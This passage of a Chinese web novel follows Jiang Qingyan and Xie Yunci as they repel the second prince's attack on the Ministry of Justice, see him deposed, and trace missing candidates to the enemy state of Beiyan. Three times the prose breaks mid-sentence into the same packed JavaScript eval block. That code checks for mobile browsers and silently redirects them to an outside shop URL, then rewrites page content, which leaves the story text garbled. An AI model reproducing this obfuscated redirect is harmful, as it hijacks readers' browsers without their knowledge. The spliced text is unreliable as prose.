“里面的人听着！”二皇子策马上前，厉声高喊，“交出江清砚和所有证据，本宫饶你们不死！否则……血洗刑部！” 墙头上，李崇明脸色铁青。他虽已调集了刑部所有能调集的人手，但满打满算也只有一百多人，其中还有不少是文职衙役，真正能战的不足八十。而对方……三百五十余人，且都是精锐。 实力悬殊。 “殿下！”李崇明高声回应，“江钦差奉旨查案，手中证据皆是呈报陛下的要物！殿下若强闯刑部，等同谋反！” “谋反？”二皇子狂笑，“本宫是嫡皇子，未来的天子！这天下迟早是本宫的！李崇明，你识相的话，就乖乖开门！否则……等本宫杀进去，第一个拿你祭旗！” 话音未落，他身后那些黑衣死士已经动了。他们身手矫健，如鬼魅般扑向刑部大门，手中刀光闪烁，在火光下泛着森冷的寒芒。 “放箭！”李崇明急喝。 墙头上的兵士立刻张弓搭箭，箭矢如雨般落下。但那些黑衣死士显然训练有素，或挥刀格挡，或翻滚闪避，竟无一人中箭，转眼间已冲到大门前！ “砰！砰！砰！” 沉重的撞击声响起，是那些死士在用身体撞击大门！刑部大门虽厚重，但经不住这样猛烈的撞击，门板已经开始出现裂缝！ “顶住！”谢云辞冲下墙头，带人用木杠死死抵住大门。 江清砚站在正堂前的台阶上，看着眼前这混乱的景象，脑中那座“记忆宫殿”飞速运转——他在计算，计算双方的人数、战力、还有……时间。 援军。 李崇明已经派人去京畿卫戍营求援，但从这里到卫戍营，一来一回至少半个时辰。刑部衙门……撑不了那么久。 必须想办法拖延时间。 “谢兄！”江清砚忽然喊道，“擒贼先擒王！” 谢云辞一怔，随即明白了他的意思。二皇子是今夜行动的主谋，若能擒住他，那些护卫和死士必然投鼠忌器。 但……怎么擒？ 二皇子被重重护卫在中间，身边还有十几个贴身侍卫，个个都是高手。想穿过三百多人的包围，擒住他？难如登天。 “我有办法。”江清砚从怀中取出一个小布包，递给谢云辞，“这是加强版的‘松筋散’，混合了石灰和辣椒粉。你冲出去时，将这个撒向空中，能暂时扰乱他们的视线。然后……直取二皇子。” 谢云辞接过布包，沉甸甸的，分量不轻。他看了江清砚一眼，眼中闪过担忧:“我若离开，你……” “我能自保。”江清砚握紧了手中的尚方宝剑，“快去！” 谢云辞不再犹豫，将布包塞进怀里，提刀冲向大门。 与此同时，大门终于被撞开了！ 黑衣死士如潮水般涌了进来，与刑部的兵士战成一团。刀光剑影，杀声震天，鲜血飞溅，瞬间染红了青石地面。 谢云辞身形如电，在混战中穿梭。他没有恋战，目标明确——直冲大门外的二皇子！ 几个黑衣死士察觉到他的意图，立刻扑上来拦截。谢云辞挥刀连斩，刀光过处，血花绽放。他就像一柄烧红的刀子，狠狠插进敌人的阵营，所过之处，无人能挡。 眼看离二皇子只有十几步的距离了，谢云辞猛地从怀中掏出那个布包，用力一扬—— 白色粉末在夜风中爆开，瞬间弥漫开来！ “闭气！”二皇子身边的侍卫急喝。 但已经晚了。粉末入眼，刺痛难忍；吸入鼻腔，更是火辣辣的，连呼吸都困难。那些护卫和死士顿时乱作一团，揉眼睛的、咳嗽的、甚至有人因为窒息而倒地。 趁此机会，谢云辞如猎豹般扑向二皇子！ “保护殿下！”贴身侍卫们强忍不适，挥刀迎上。 刀光交错，金铁交鸣。谢云辞以一敌十，虽险象环生，却步步紧逼。他知道，自己只有这一次机会，若不能擒住二皇子，今夜刑部上下，恐怕都要死在这里。 正堂前，江清砚也在浴血奋战。 他没有谢云辞那样的身手，但手中尚方宝剑锋利无比，加上他通晓人体穴位，专攻要害，竟也放倒了好几个冲上来的死士。只是他身体实在太弱，每挥一剑，胸口都像被重锤击中，眼前阵阵发黑。 “江清砚！”一个阴冷的声音忽然响起。 江清砚抬头，只见一个黑衣人从阴影中走出——正是那日在药庐见过、后来又纵火烧刑部大牢的王莽！他脸上那道疤在火光下显得格外狰狞。 “你果然没死。”江清砚握紧剑柄。 “殿下让我来取你的命。”王莽冷笑，手中短刀寒光闪闪，“受死吧！” 话音未落，他已如鬼魅般扑来！ 江清砚急退，但速度远不及对方。眼看刀锋已至面门，他忽然侧身，手中长剑斜刺——不是刺向王莽，而是刺向地面！ “叮！” 剑尖与青石板碰撞，溅起几点火星。借着这一刺的反作用力，江清砚向后滑出数尺，险险避过刀锋。 王莽一愣，显然没想到江清砚会用这种方式躲闪。但他很快反应过来，再次扑上，刀法更加狠辣。 江清砚只能勉强招架。每接一刀，虎口都被震得发麻，胸口更是痛得几乎要裂开。他知道，自己撑不了多久了。 就在这时，远处忽然传来震天的马蹄声！ 援军到了！ “卫戍营到了！”墙头上有人高喊。 二皇子脸色骤变。他没想到援军来得这么快！ “撤！快撤！”他嘶声吼道。 但已经晚了。 京畿卫戍营的三千精兵如潮水般涌来，将刑部衙门里三层外三层围了个水泄不通。火光连成一片，将夜空照得如同白昼。 “二皇子！”卫戍营统领张彪策马上前，厉声喝道，“你率众围攻刑部，意图谋害钦差，等同谋反！还不束手就擒！” 二皇子脸色惨白如纸。他知道，自己完了。 “杀出去！”他咬牙吼道，还想做最后的挣扎。 但那些护卫和死士见大势已去，早已斗志全无。有些丢下兵器投降，有些四散奔逃，只有少数死忠还在负隅顽抗。 谢云辞抓住机会，一刀劈开两个侍卫，直扑二皇子！ “保护……”二皇子的话还没说完，谢云辞的刀已经架在了他脖子上。 冰冷的刀锋贴着皮肤，二皇子浑身僵硬，再也不敢动弹。 “都住手！”谢云辞厉喝，“二皇子已被擒！放下兵器者，可免死罪！” 此言一出，剩余的那些护卫和死士终于放弃了抵抗，纷纷扔下兵器。 战斗，结束了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863511|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑部衙门内一片狼藉。地上横七竖八躺着数十具尸体，有黑衣死士，也有刑部的兵士。鲜血将青石板染成暗红色，在火光下显得触目惊心。 江清砚靠着正堂的柱子，大口喘息。他身上的月白直裰已被鲜血浸透，分不清是自己的血，还是敌人的血。胸口剧痛，眼前阵阵发黑，但他强撑着，没有倒下。 “清砚！”谢云辞押着二皇子走过来，见他满身是血，眼中满是担忧。 “我没事。”江清砚摇头，目光落在二皇子身上，“殿下，你输了。” 二皇子抬起头，眼中充满怨毒:“江清砚，你以为你赢了吗？告诉你，就算我死了，这朝中也还有我的人！你永远别想安稳！” “是吗？”江清砚淡淡一笑，从怀中取出一份名单，“这是从你账本和信件中整理出的，与你有往来的官员名单。一共四十七人。明日早朝，这些人……一个都跑不掉。” 二皇子瞪大眼睛，难以置信地看着那份名单。 “你……你怎么……” “我怎么知道的？”江清砚替他问完，“因为你太贪心了。什么都想要，什么都想掌控，所以留下了太多痕迹。而那些痕迹，最终都成了你的催命符。” 他说着，咳嗽起来，咳出几口血沫。 “清砚！”谢云辞急道。 “无碍。”江清砚抹去嘴角的血迹，看向李崇明，“李大人，将二皇子押入天牢，严加看管。明日一早，我们带着所有证据，面圣。” “是。”李崇明点头，命人将二皇子押走。 二皇子被拖走时，还在嘶声怒吼:“江清砚！你不得好死！本宫做鬼也不会放过你！” 声音渐渐远去，最终消失在夜色中。 江清砚看着他的背影，忽然觉得一阵眩晕。身体再也支撑不住，软软向后倒去。 “清砚！”谢云辞连忙抱住他。 “我……没事……”江清砚靠在他怀里，声音虚弱，“就是……有点累……” “别说话。”谢云辞抱起他，快步走向厢房，“薛大夫！快叫薛大夫！” 薛大夫很快赶来。他检查了江清砚的伤势，脸色凝重:“失血过多，心脉受损。必须立刻施针用药，否则……恐有性命之忧。” “那还等什么！”谢云辞急道。 薛大夫不再多言，立刻取出银针，为江清砚施针止血，又喂他服下几粒药丸。忙活了约莫半个时辰，江清砚的脸色才恢复了些血色，呼吸也平稳下来。 “暂时无碍了。”薛大夫抹了把汗，“但他身体太弱，这次又伤及根本，必须静养至少三个月。若再折腾……神仙也难救。” “我知道了。”谢云辞点头，“多谢薛大夫。” 薛大夫又交代了几句，便退了出去。 厢房里只剩下两人。 谢云辞坐在床边，看着江清砚苍白的睡颜，轻轻握住他的手。胸中那颗共同的心脏跳得微弱，但还算平稳。 同生共死。 今夜，他们又一起闯过了鬼门关。 窗外，天色渐渐亮了。 新的一天，即将开始。 而他们，也将迎来最后的决战。 “清砚，”谢云辞低声道，“等这一切都结束了，我们就去江南。我答应你。” 床上的江清砚似乎听到了，唇角勾起一丝极淡的笑意。 窗外，第一缕晨光照了进来。 驱散了夜的黑暗，也驱散了人心的阴霾。 天，终于亮了。 36. 第 36 章 第三十六章匠人佐证 永昌十九年冬月十一，注定是要载入史册的一天。 辰时正，金銮殿上鸦雀无声。文武百官分列两侧，垂首肃立，连呼吸都放轻了，生怕惊扰了御座上那位脸色阴沉的帝王。 永昌帝高坐龙椅，手中握着那份连夜呈上的奏折——是江清砚和李崇明联名的折子，详细陈述了水鬼帮一案的所有证据，以及昨夜二皇子围攻刑部、意图谋害钦差的事实。折子最后，附着一份长长的名单，四十七个名字，像四十七根刺，扎在他的心上。 “都看过了？”永昌帝缓缓开口，声音不大，却让殿上所有人心头一颤。 “臣等……看过了。”内阁首辅杨文正出列，声音发涩。 “那诸位爱卿觉得，”永昌帝目光扫过众臣，“此事，该如何处置？” 殿上一片死寂。 谁敢说话？一边是嫡皇子，一边是如山铁证。无论站在哪一边，都可能万劫不复。 “怎么？”永昌帝冷笑，“平日里议论朝政，一个比一个能说。现在怎么都哑巴了？” “陛下……”刑部尚书李崇明出列，跪地叩首，“臣以为，二皇子勾结匪类、扰乱科举、谋害忠良、围攻刑部，罪证确凿，当……按律论处。” 按律论处。 谋反是诛九族的大罪，皇子虽不能诛九族，但……赐死是免不了的。 “臣附议。”大理寺卿张正言也出列，“王子犯法，与庶民同罪。若因是皇子而轻纵，则国法何在？公道何在？” “臣也附议。”都察院左都御史周明远跪地，“陛下，此案已非寻常刑案，而是动摇国本的大案！若不严惩，恐天下不服！” 三个主审官都表态了，其他大臣面面相觑，终于有人陆续出列: “臣附议……” “臣也附议……” 附议之声越来越多，最终，殿上近八成大臣都跪下了，齐声道:“请陛下圣裁！” 永昌帝看着跪了一地的臣子，又看看那份名单，眼中闪过痛苦、挣扎，最终化作一片深沉的决绝。 “传旨。”他缓缓开口，声音嘶哑，“二皇子周景琰，勾结匪类、扰乱科举、谋害忠良、围攻刑部，罪大恶极。即日起，废为庶人，囚于宗人府，终身不得出。其母后教子无方，禁足坤宁宫，非诏不得出。其外祖家……夺爵罢官，家产抄没，族人流放三千里。” 废为庶人，终身囚禁。 这比直接赐死更残忍——赐死是一时的痛苦，终身囚禁是一世的折磨。 但众臣都明白，这已是永昌帝能做的极限了。毕竟，那是他的亲生儿子。 “至于名单上这些人……”永昌帝目光一冷，“一律罢官下狱，三司会审，依律定罪。” “臣等遵旨！” “还有，”永昌帝顿了顿，“江清砚揭发大案有功，擢升刑部右侍郎，赐黄金千两，良田百亩。谢云辞护驾有功，擢升六扇门总指挥使，赐……” 话未说完，殿外忽然传来一声高唱: “江清砚到——” 所有人的目光都投向殿门。 只见一个身着月白直裰的少年，缓缓走进殿中。他脸色苍白如纸，脚步虚浮，每走一步都显得异常艰难。谢云辞跟在他身后，手按刀柄，眼神警惕地扫视四周。 两人走到殿中央，跪地叩首: “臣江清砚，叩见陛下。” “臣谢云辞，叩见陛下。” 永昌帝看着江清砚苍白得几乎透明的脸，眼中闪过一丝复杂:“江爱卿，你的身体……” “臣无碍。”江清砚抬起头，目光清澈，“陛下，臣此来，是有一件重要证物，需要当庭呈上。” “何物？” 江清砚从怀中取出一个小木盒，双手呈上:“此乃从清漪园莲花池底找到的账本副本，以及二皇子与柳文渊、赵文远等人往来的亲笔信。其中有一封信……与六年前谢远山将军的案子有关。” 六年前，谢远山。 这两个词一出，殿上顿时一片哗然。 谢远山案，当年震惊朝野。兵部侍郎谢远山被诬陷贪污军饷，满门抄斩，只逃出一子一女，女儿惨死，儿子失踪。此案一直悬而未决，成了永昌帝心头的一根刺。 “呈上来。”永昌帝声音发紧。 太监接过木盒，呈上御案。永昌帝打开木盒，取出那封信。信纸泛黄，墨迹陈旧，但字迹清晰——确实是二皇子的笔迹，上面还有他的私印。 信的内容很简单: “柳卿:谢远山查军饷案甚紧，恐生变故。可联络赵文远、陈文正，早做打算。事成之后，必有重谢。” 落款日期:永昌十三年七月初三。 而谢远山被下狱，是永昌十三年七月十五。 时间对得上，人物对得上，动机也对得上。 铁证如山。 永昌帝的手在颤抖。他闭上眼睛，许久，才缓缓睁开，眼中已是一片血红。 “周景琰……”他嘶声道，“你好……你很好……” 谋害忠良，这是为君者最不能容忍的事。 “陛下，”江清砚叩首，“臣请陛下，重审谢远山一案，还谢将军一个清白。” “准。”永昌帝毫不犹豫，“即日起，由三司重审谢远山案。若谢将军确系冤枉，追封谥号，厚葬立碑。其子谢云辞……袭爵，重赏。” 谢云辞浑身一震，眼眶瞬间红了。他跪地叩首，声音哽咽:“臣……谢陛下隆恩！” 六年了。 整整六年，他东躲西藏，忍辱负重，就是为了这一天。 父亲的名誉，终于可以恢复了。 “起来吧。”永昌帝摆摆手，显得疲惫不堪，“江爱卿，你还有何事？” 江清砚却不起身，而是继续叩首:“陛下，臣还有一事……关于那些失踪的举子。” 殿上再次安静下来。 “账本记载，水鬼帮掳掠举子共计八十七人。找到的只有五十一人，其中十七人已死，三十四人获救。还有三十六人……下落不明。”江清砚缓缓道，“臣怀疑，这些人可能被送到了……某个特殊的地方。” “什么地方？” “药庐。”江清砚抬头，“蓟州药庐，不只是炼制毒药的地方，还是……培养死士的基地。那些有才华的举子，被掳走后，先进行‘调教’，若合格，就送入药庐，进行特殊训练，成为二皇子的死士。” 死士。 殿上众人倒吸一口凉气。 二皇子不仅敛财、买官，还在培养死士！他想干什么？篡位吗？ “证据呢？”永昌帝沉声问。 “药庐虽被烧毁，但臣在废墟中发现了一些线索。”江清砚从袖中取出一张纸，上面画着些奇怪的符号，“这些符号，是药庐地下密道墙壁上的刻痕。臣请教过懂江湖暗语的人，他们说……这是训练死士时，用来记录进度的标记。” 他顿了顿，继续道:“而且，从药庐救出的那个账房周安，在神智清醒时曾交代，药庐确实在训练一批‘特殊货物’。这些人不参与买卖，只供二皇子驱使。” 供二皇子驱使。 做什么？刺杀政敌？监视大臣？还是……逼宫？ 细思极恐。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863512|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些死士……现在何处？”永昌帝问。 “不知道。”江清砚摇头，“药庐被烧后，那些人就消失了。但臣猜测，他们可能还在京城，或者……就藏在二皇子府中。” 永昌帝脸色骤变。他立刻看向卫戍营统领张彪:“张爱卿，立刻带人搜查二皇子府！掘地三尺，也要把那些人找出来！” “臣遵旨！” 张彪领命而去。 永昌帝这才看向江清砚，眼中满是疲惫:“江爱卿，此案……到此为止吧。” 到此为止。 江清砚明白永昌帝的意思——二皇子已废，涉案官员都已下狱，谢远山案也将重审。再查下去，牵扯太广，朝局动荡，于国不利。 “臣明白。”他叩首，“但臣还有最后一个请求。” “说。” “请陛下下旨，彻查天下书院、私塾，严禁买卖生员、冒名顶替。科举乃国家抡才大典，决不能再让宵小染指。” 这是从根本上杜绝此类案件再次发生。 永昌帝点头:“准。此事由礼部牵头，刑部、都察院协办。” “谢陛下。” 江清砚终于起身。他站得很稳，背脊挺直，像一株风雪中傲立的青竹。 永昌帝看着他，忽然道:“江爱卿，你身体不好，先回去歇着吧。刑部右侍郎的职务，等你养好身体再上任。” “臣遵旨。” 江清砚躬身退出。谢云辞紧随其后。 走出金銮殿时，阳光正好。冬日的阳光没有温度，但很亮，照在汉白玉的台阶上，反射出耀眼的光芒。 江清砚站在高高的台阶上，看着这座巍峨的皇城，胸中那颗共同的心脏，跳得平稳而有力。 结束了。 这场持续了两个多月的斗争，终于结束了。 正义得到了伸张，冤屈得到了昭雪，罪恶得到了惩罚。 虽然……还有一些遗憾，还有一些谜团未解，但至少，他们做到了能做到的一切。 “清砚，”谢云辞扶住他，“我们回家。” 家。 江清砚笑了。是啊，他们在京城还没有家，但……有彼此的地方，就是家。 “好。”他轻声道，“回家。” 两人并肩走下台阶。长长的宫道在他们面前延伸，仿佛通向一个崭新的人生。 而他们不知道的是，此刻金銮殿内，永昌帝正看着他们离去的背影，眼中闪过复杂的神色。 “杨爱卿，”他忽然开口，“你说……江清砚此人，可用吗？” 内阁首辅杨文正躬身:“陛下，江清砚年轻有为，正直清廉，是难得的人才。只是……他身体太差，恐难当大任。” “身体可以调养。”永昌帝淡淡道，“倒是他的心性……太过刚直，不懂变通。此次若非朕护着，他早死在二皇子手里了。” “陛下说的是。” “不过……”永昌帝顿了顿，“这朝堂，也需要这样的人。就像一把刀，太钝了不好用，太锋利了容易伤手。但关键时刻，还是锋利的刀管用。” 杨文正听出了话里的意思——陛下是要重用江清砚了。 “陛下圣明。” 永昌帝不再多言，只是看着窗外，许久，才轻叹一声: “希望这把刀……别太快折了。” 窗外，阳光正好。 而宫墙之外，江清砚和谢云辞已经走出了宫门，融入了熙熙攘攘的街市。 他们的故事，还在继续。 而大周的朝堂，也因这场震动，迎来了新的格局。 一切，才刚刚开始。 37. 第 37 章 第三十七章心理侧写 冬月十六，二皇子周景琰被废为庶人，押入宗人府终身囚禁的第五天。 京城下了今冬第一场雪。细密的雪粒子从铅灰色的天空洒落，起初还夹着雨，渐渐就变成了鹅毛般的雪片，纷纷扬扬，不过一个时辰，就将整座城市覆上了一层薄薄的银白。 刑部后衙的厢房里，炭火烧得正旺。江清砚裹着厚厚的狐裘，靠在窗边的软榻上，手里捧着一卷《洗冤集录》，却没有在看，目光落在窗外飘飞的雪花上，有些出神。 他的脸色比前几日好了些，但依旧苍白。薛大夫每日都来施针用药，叮嘱他要静养至少三个月，不能劳神，更不能动气。可江清砚知道，有些事……不是不想就能不想的。 比如那些至今下落不明的三十六名举子。 比如药庐废墟里那些诡异的符号。 比如……二皇子在被废前，眼中那抹难以形容的疯狂。 “吱呀”一声，门被推开，谢云辞端着一碗药走进来，带进一股寒气。 “该喝药了。” 江清砚接过药碗，药汁浓黑，气味刺鼻，但他早已习惯了，面不改色地一饮而尽。 “外面雪大，你怎么不穿厚些？”他看着谢云辞肩头落下的雪花，微微蹙眉。 “刚从宗人府回来。”谢云辞在榻边坐下，神色凝重，“二皇子……疯了。” 疯了？ 江清砚一怔。 “宗人府的人说，从进去第一天开始，他就时而哭时而笑，有时说自己是未来的天子，有时又说有人要杀他。”谢云辞顿了顿，“昨晚，他咬断了自己的舌头。” 咬舌自尽？ “救回来了吗？” “救是救回来了，但……说不了话了。”谢云辞眼中闪过一丝复杂，“太医说，他神智已失，怕是真疯了。” 真疯了。 江清砚沉默。他不知道这是二皇子装疯卖傻以图自保，还是真的承受不住打击，精神崩溃了。但无论是哪种，这条线……都彻底断了。 “那些死士呢？”他问。 “搜遍了二皇子府，一个都没找到。”谢云辞摇头，“张统领甚至带人挖了地窖，掘了池塘，还是一无所获。那些人……就像凭空消失了一样。” 凭空消失。 江清砚闭上眼，脑中那座“记忆宫殿”再次展开。他将所有线索一一摆放:药庐、死士、符号、失踪的举子、二皇子的疯狂…… 总觉得，还少了点什么。 “谢兄，”他睁开眼，“你还记得药庐里那些符号的样子吗？” 谢云辞从怀中取出一张纸，上面是他凭记忆画的符号草图:“大致是这样。有些地方画得不准，但八九不离十。” 江清砚接过细看。那些符号确实诡异，像文字又像图案，弯弯曲曲，毫无规律可言。但他注意到，有些符号旁边，有细小的数字标注——十三、十七、二十二…… “这些数字，”他指着那些标注，“会不会是……代号？或者，是某种排序？” “有可能。”谢云辞点头，“周安清醒时说过，药庐训练死士分等级，从‘甲’到‘戊’，数字越大，等级越高。” 甲、乙、丙、丁、戊。 如果数字是等级，那么十三、十七、二十二……对应的应该是“丙三”、“丙七”、“丁二”？ 等等。 江清砚脑中灵光一闪。 水鬼帮的账本上，关于“特殊货物”的记录，用的就是这种代号！比如“丙字三号”、“丙字七号”、“丁字二号”…… 所以那些符号，不是训练死士的标记，而是……“货物”的编号！ 那些失踪的举子，不是被训练成了死士，而是作为“特殊货物”，被卖给了……其他人！ “谢兄，”江清砚猛地坐直身体，胸口一阵剧痛，但他顾不上了，“我们之前想错了。二皇子不是要培养死士，他是在……贩卖人口！把那些有才华的举子，当成‘特殊货物’，卖给需要的人！” 谢云辞也意识到了问题所在:“卖给谁？” “不知道。”江清砚摇头，“但能出得起高价买‘特殊货物’的，绝不是普通人。可能是富商巨贾，可能是地方豪强，甚至可能是……外邦！” 外邦。 这两个字让谢云辞背脊一凉。 若真如此，那此案的性质就完全变了——从国内贪腐案，上升到了通敌叛国！ “可我们没有证据。”谢云辞沉声道，“药庐被烧，二皇子疯了，账本只记录了交易，没记录买家。” “有一个人可能知道。”江清砚缓缓道，“柳文渊。” 柳文渊。 那个至今还在刑部大牢里，一言不发的观澜书院山长。 “他肯说吗？” “试试看。”江清砚站起身，“备车，去刑部大牢。” “你的身体……” “无碍。” 刑部大牢，天字号牢房。 柳文渊依旧穿着干净的囚服，头发梳得一丝不苟。他坐在草铺上，闭目养神，听到牢门打开的声音，才缓缓睁开眼。 看到江清砚和谢云辞，他脸上露出一个温和的笑容，仿佛不是身在牢狱，而是在书院接待访客。 “江大人，谢总捕，又见面了。” 江清砚在牢门外坐下，隔着栅栏看着他:“柳山长，近日可好？” “托大人的福，吃得好，睡得好。”柳文渊微笑，“只是这牢房湿冷，老朽这把骨头，有些受不住。” “那柳山长可想出去？” 柳文渊摇头:“出去又如何？观澜书院已毁，老朽毕生心血付诸东流。出去，也不过是个无家可归的孤魂野鬼罢了。” 他说得淡然，眼中却闪过一丝痛楚。 江清砚看在眼里，缓缓道:“柳山长，若我说……你还有戴罪立功的机会呢？” “戴罪立功？”柳文渊笑了，“江大人，老朽犯的是死罪，就算立功，又能如何？免死？老朽活到这把年纪，早已看淡生死了。” “不是免死。”江清砚直视他的眼睛，“是……保住观澜书院的清名。” 柳文渊的笑容僵住了。 观澜书院，百年学府，天下士子心中的圣地。若因为他的罪行，而被彻底抹黑，成为科举舞弊的代名词……那他柳文渊，就是千古罪人。 “江大人……什么意思？” “水鬼帮一案，主犯是二皇子，你是从犯。”江清砚缓缓道，“若你能提供重要线索，助朝廷破获更大的案子，那么陛下或许会念在你戴罪立功的份上，保留观澜书院的名号，只追究你个人的罪责。” 保留书院的名号。 柳文渊眼中燃起希望的火光，但很快又熄灭了。 “更大的案子？还能有什么更大的案子？” “那些失踪的举子。”江清砚一字一句道，“账本记录，水鬼帮掳掠举子八十七人，找到的只有五十一人，还有三十六人下落不明。他们去了哪里？被谁买走？用作什么用途？” 柳文渊沉默了。 “柳山长，”谢云辞冷声道，“那些举子中，有不少是你的学生吧？你亲手将他们送入火坑，如今连他们的下落都不肯说吗？” 这话像一把刀，狠狠扎进柳文渊的心。 他闭上眼，许久，才嘶声道:“我……不知道他们的下落。” “但你知道买家是谁，对吗？”江清砚追问。 柳文渊睁开眼，眼中满是挣扎。最终，他点了点头。 “是谁？” “是……”柳文渊的声音压得极低，“北燕。” 北燕！ 大周北方的邻国，与大周交战多年，近年来虽表面臣服，但暗地里一直蠢蠢欲动。 “北燕买我大周的举子做什么？”谢云辞不解。 “北燕王室崇尚汉学，但本国人才匮乏。”柳文渊缓缓道，“所以他们暗中通过二皇子，购买有才华的举子，带回北燕，充实朝廷，学习大周的典章制度、治国方略。有些……甚至被送入北燕宫廷，成为王子的伴读、幕僚。” 培养内应，学习对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863513|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手，渗透朝堂。 好毒的计策！ 江清砚心头巨震。他本以为此案只是国内贪腐，没想到竟牵扯到了敌国！ “那些举子……愿意吗？”他声音发颤。 “愿意？”柳文渊苦笑，“刀架在脖子上，家人被控制着，谁会愿意？但他们没有选择。要么死，要么……成为北燕的棋子。” 要么死，要么成为棋子。 江清砚握紧了拳。他能想象出那些举子的绝望——寒窗苦读十几年，本想报效国家，却沦为敌国的工具。 “北燕那边，谁负责接应？”谢云辞问。 “一个叫‘云先生’的人。”柳文渊道，“我没见过他，只通过书信往来。信是通过商队传递的，每次接头地点都不同。” “商队？” “对，北燕的商队。”柳文渊回忆道，“每年春秋两季，北燕会有商队来京城贸易。他们会带来北燕的特产，带走大周的丝绸、瓷器……还有，人。” 以贸易为掩护，行贩卖人口之实。 “最后一次交易是什么时候？”江清砚急问。 “今年秋分，九月二十三。”柳文渊道，“当时送走了最后一批‘货物’，一共十二人。之后就再没联系了。” 今年秋分。 那正是水鬼帮案发，二皇子开始清洗证据的时候。北燕那边，恐怕也得到了消息，切断了联系。 “那十二个人的名单，你有吗？” 柳文渊摇头:“名单在二皇子那里。我只负责联络，不直接经手‘货物’。” 线索又断了。 江清砚沉吟片刻，忽然问:“柳山长，你可知道，北燕商队在京城的落脚点？” “知道几个。”柳文渊报了几个地名，“但出了这么大的事，他们恐怕早就撤了。” “试试看吧。”江清砚站起身，“谢兄，我们走。” “江大人，”柳文渊叫住他，“你答应我的……” “我会向陛下陈情。”江清砚转身，看着他，“但最终如何，要看陛下的决断。” 柳文渊重重点头:“多谢。” 走出大牢，雪下得更大了。 雪花落在脸上，冰冷刺骨。江清砚却觉得，胸中那股郁结之气，终于散了些。 “清砚，”谢云辞扶住他，“我们现在去哪？” “去找李大人。”江清砚目光坚定，“此案还没完。北燕这条线，必须查到底。” “可是你的身体……” “撑得住。” 两人上了马车，朝着刑部衙门疾驰而去。 车厢里，江清砚靠在车壁上，闭上眼睛。脑中那座“记忆宫殿”再次运转——这次，他将所有线索重新排列，加入了北燕这个新的变量。 二皇子通敌叛国，贩卖举子给北燕。 北燕借此培养内应，学习大周，意图不轨。 而那些失踪的举子……可能已经身在北燕，成了敌国的棋子。 若真如此，那此案就不仅仅是朝堂争斗，而是……国战的前兆。 必须尽快查清，阻止北燕的阴谋。 可是怎么查？北燕远在千里之外，语言不通，风俗不同，他们连京城都出不去，更别说去北燕了。 除非…… 江清砚忽然睁开眼睛。 “谢兄，你听说过……‘心理侧写’吗？” 谢云辞一愣:“那是什么？” “是一种查案的方法。”江清砚缓缓道，“通过分析罪犯的行为、习惯、心理，推断出他的性格、背景、甚至……下一步的行动。” 他顿了顿，继续道:“我们可以给那个‘云先生’做一个心理侧写。通过他的书信、他的行事风格、他选择的目标……推断出他是个什么样的人，可能藏在什么地方，接下来会做什么。” 谢云辞听得似懂非懂，但他相信江清砚。 “好，你说，我做。” 马车驶入刑部衙门。 雪还在下。 而一场新的、更加凶险的较量，即将开始。 38. 第 38 章 第三十八章指认惊变 金銮殿内，鸦雀无声。 江清砚的“心理侧写”如一颗投入平静湖面的石子，激起层层涟漪。几位老臣面色微变，彼此交换着隐晦的眼神。空气中弥漫着一种近乎实质的紧张，仿佛一根绷紧的弦，只需轻轻一碰便会断裂。 皇帝高坐龙椅，目光深邃，手指轻叩扶手。他没有说话，却让所有人都感受到那股无形的威压。 “江清砚，”皇帝终于开口，声音在空旷大殿中回荡，“你的意思是，此案凶手并非单纯为陷害你，而是意图搅乱朝局？” 江清砚戴着重枷，脊背却依旧挺直。他微微欠身，声音清晰而镇定：“回陛下，正是。陷害草民不过是一步棋，真正的目的——若草民推测无误——是借科举舞弊案挑起朝中派系争斗。吏部尚书与三皇子皆有嫌疑，但若两者都是被刻意设计的棋子呢？” 此话一出，满殿哗然。 吏部尚书张乾脸色铁青，出列跪倒：“陛下明鉴！老臣绝无此心！江清砚此言，分明是含血喷人！” 三皇子虽未出列，但袖中拳头已握得发白，额角青筋隐约可见。 谢云辞立于武将列，目光始终锁在江清砚身上。他注意到江清砚脸色比刚才更苍白了几分，呼吸也略显急促——心疾怕是又要发作了。谢云辞暗自催动体内那股由“心头血”建立的联系，试图传递一丝温和的力量过去，却只感觉到对面如同即将干涸的枯井，回馈而来的只有虚弱与疼痛。 他心中一紧。 “江清砚，”刑部尚书忍不住开口，“你既如此推测，可有证据指向那幕后之人？” 